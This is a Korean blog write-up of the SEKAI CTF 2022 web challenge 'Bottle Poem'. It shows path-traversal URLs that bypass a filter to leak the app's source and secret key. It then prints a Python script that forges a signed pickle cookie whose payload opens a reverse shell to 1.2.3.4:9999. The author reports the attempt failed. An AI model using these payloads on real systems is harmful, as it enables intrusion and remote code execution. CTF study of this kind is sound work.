CTF

[Project SEKAI CTF 2022] Web - Bottle Poem

오호츠크해 기단 2022. 10. 1. 20:59
728x90

Write Up

플래그는 CTF의 이름인 SEKAI\{@!*#&(*!@}이런 식으로 나오는 것 같다.

 

1. Web - Bottle Poem

문제에 들어가면 아래와 같은 화면이 뜬다. 아래 링크?에 접속해보면 쓰여있는 단어가 주제인듯한 시 txt파일이 보여지는 것을 알 수 있다.

시 txt가 보여지는 모습

또한 url에 매개변수 ?=id가 존재하는 것을 확인할 수 있다. 이를 통해서 웹 사이트가 경로 탐색에 취약하다는 것을 알 수 있다. url 뒷 부분에 'flag', 'flag.txt'를 집어넣어보았지만

'No This Poems.' 이 시가 아니라고 나온다.

개발자도구(F12)에서 'SEKAI{'를 검색해보았지만 역시 아니었다.

문제 제목이 Bottle Poem인데 여기서 Bottle이 파이썬 프레임워크라는 것을 알게 되었다. 이걸 이용해서 문제를 다시 풀어보기로 헀다.

http://bottle-poem.ctf.sekai.team/show?id=../app.py

를 입력했더니 No!!!!라는 문자열이 출력이 되었다. 파이썬과 관련된 문제가 맞는 것 같다.  app.py에서 No!!!! 라는 문자열이 응답결과값으로 나오는 것으로 봤을 때 뭔가 필터링이 있는 것 같아 보였다.

http://bottle-poem.ctf.sekai.team/show?id=./../app.py

해서 ./../app.py 와 같이 입력했더니 app.py의 소스코드 내용이 잘 나오는 것을 볼 수 있다. bottle 프레임워크를 사용하는 것이 맞았다.

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

 

config.secret으로부터 sekai 라는 변수를 불러오는 것으로 보았을 때 session 에 사용되는 secret 값을 추출할 수 있을 것이다.

http://bottle-poem.ctf.sekai.team/show?id=./../config/secret.py

import base64
import pickle
import hmac
import hashlib

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, str) else bytes(s)

class RCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
        
IPAddr = "1.2.3.4"
Port = 9999
command = 'python -c \'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("IPAddr",Port));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")\''
key = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
data = RCE()
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
payload = '"'+str(tob('!') + sig + tob('?') + msg).replace("b'", "")[:-1]+'"'
print(payload)

위 코드 실행 시, 쿠키값

/sign으로 접속

결과 값으로 나온 쿠키를 가지고 /sign 경로에 접근해서 쿠키를 설정해주었다.

 

쿠키값을 바꿨지만 빈 화면만 나올 뿐 정답이 나오지 않았다.

결국 플래그를 찾지 못했다.